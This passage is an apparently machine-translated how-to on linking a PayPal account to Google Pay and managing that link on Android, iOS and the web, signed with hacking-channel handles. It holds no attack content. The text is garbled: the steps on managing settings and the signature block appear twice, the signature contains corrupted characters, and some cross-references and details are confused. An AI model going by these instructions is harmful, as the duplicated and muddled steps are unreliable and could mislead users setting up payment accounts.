2) You will be redirected to the PayPal website in your browser and not in the PayPal app. Enter your username and password to log into your account, wait for the addition process to complete.
3) If you see the Use PayPal with Google Pay screen, click Next. Next, you need to set a pin code to make purchases. If you already have a PIN, confirm it. If you're adding a PayPal account from one of the two options below, you'll need to go back to the Payments tab and select Set In Store Payments next to PayPal.
4) Next, you need to agree to the PayPal terms for using Google Pay. It says here that if you don't have enough money in your PayPal balance to pay for something, PayPal will automatically top up your balance with $ 10 from the bank or card of your choice. After choosing a payment method, click "Agree and Continue".
5) Your PayPal account can now shop with Google Pay. It automatically becomes the default payment option.
Option 2. In the Google Pay app (on Android and iOS)
On iOS, you cannot add PayPal to the Google Pay mobile app. You can use the Google Pay web app. PayPal then appears as a payment method in the Google Pay mobile app.
6) Open pay.google.com in your browser and sign in to your account. Click on the menu with three lines in the upper left corner, select payment options and the command "+ add payment method" at the bottom. Select add PayPal.
7) Click "Save" and you will be redirected to the PayPal website. Log in to your account, choose a debit or credit card to pay. Read the information on the page, click "Agree and Continue". You will then see PayPal as a payment method on the Google Play website and in the mobile app.
Option 3. When placing an order (on Android and iOS)
You can add PayPal when you buy something from Google. For example, when a purchase is made on the Google Store. You can choose a new payment method, choose PayPal, and link your accounts. See step 2 below for more information.
8) Use PayPal with Google Pay to make a purchase
When PayPal is linked to Google Pay, you can shop online on various Google services, including Gmail, YouTube, Play Store, Google Store. You can select non-Google apps that have a link to Google Pay.
9) On iOS, Google Pay can be used in a browser. This platform uses Apple Pay in applications like YouTube. You can't add PayPal to Apple Pay if it's not a debit card.
10) now on your phone you can see the PayPal payment options on Google Pay when trying to buy a movie from the Play Store. You don't even need to sign in to your PayPal account. Select PayPal, click on the Buy button, confirm with your fingerprint, pattern or pin and the purchase will be completed.
11) if you plan to use this payment option in stores, look for contactless payment terminals. Hold your smartphone near the terminal until payment is complete.
12) When shopping on sites like the Google Store, on the checkout screen, change the Google Pay payment option to PayPal, then confirm your purchase. If you haven't added a PayPal account yet, you can do so now by choosing βAdd PayPalβ from the list of payment options.
13) Manage PayPal Settings for Google Pay
On Android, if you want to make changes to your PayPal account with Google Pay, you need to use the PayPal mobile app. In it, click on the gear icon in the upper right corner, select Google Pay from the list. Here you can turn off auto-completion, change your PIN, and unlink your PayPal account from Google Pay.
14) The iPhone has fewer options. You are using the PayPal mobile application or the web application, you can only select automatic payments in the settings, then select Google, Inc and cancel this option or change the linked card. In the application, you can also change the PIN code and disable automatic payment completion.
15) Manage Google Pay settings for PayPal
If you want to turn off in-store payments or remove the PayPal payment method with Google Pay, open the Google Pay app. You can turn off payments in stores only in the Android application.
16) On Android, tap Payments, then your PayPal card. If you have not set in-store payments, you will see Set as an option when viewing PayPal details. You can also change your nickname here. Click on the vertical ellipse icon for more options. Including there is "Delete payment method" and "Disable payments in stores", if you have set them.On iOS, tap Payment Methods, then the vertical ellipse icon next to PayPal. The only option available here is "Delete". In the web app, you can also only uninstall PayPal.
17) If you removed a payment method, you won't be able to use PayPal to make purchases with Google Pay. The transaction history can also be deleted. To make this change permanent, you need to remove Google Pay from the settings in the PayPal app, as described in step 3.
18) If you've turned off in-store payments, you won't be able to use PayPal through Google Pay to shop in physical stores, but you can in online stores. To reconnect in-store payments, you'll need to set up your PayPal account with Google Pay again.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
On Android, if you want to make changes to your PayPal account with Google Pay, you need to use the PayPal mobile app. In it, click on the gear icon in the upper right corner, select Google Pay from the list. Here you can turn off auto-completion, change your PIN, and unlink your PayPal account from Google Pay.
14) The iPhone has fewer options. You are using the PayPal mobile application or the web application, you can only select automatic payments in the settings, then select Google, Inc and cancel this option or change the linked card. In the application, you can also change the PIN code and disable automatic payment completion.
15) Manage Google Pay settings for PayPal
If you want to turn off in-store payments or remove the PayPal payment method with Google Pay, open the Google Pay app. You can turn off payments in stores only in the Android application.
16) On Android, tap Payments, then your PayPal card. If you have not set in-store payments, you will see Set as an option when viewing PayPal details. You can also change your nickname here. Click on the vertical ellipse icon for more options. Including there is "Delete payment method" and "Disable payments in stores", if you have set them.On iOS, tap Payment Methods, then the vertical ellipse icon next to PayPal. The only option available here is "Delete". In the web app, you can also only uninstall PayPal.
17) If you removed a payment method, you won't be able to use PayPal to make purchases with Google Pay. The transaction history can also be deleted. To make this change permanent, you need to remove Google Pay from the settings in the PayPal app, as described in step 3.
18) If you've turned off in-store payments, you won't be able to use PayPal through Google Pay to shop in physical stores, but you can in online stores. To reconnect in-store payments, you'll need to set up your PayPal account with Google Pay again.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β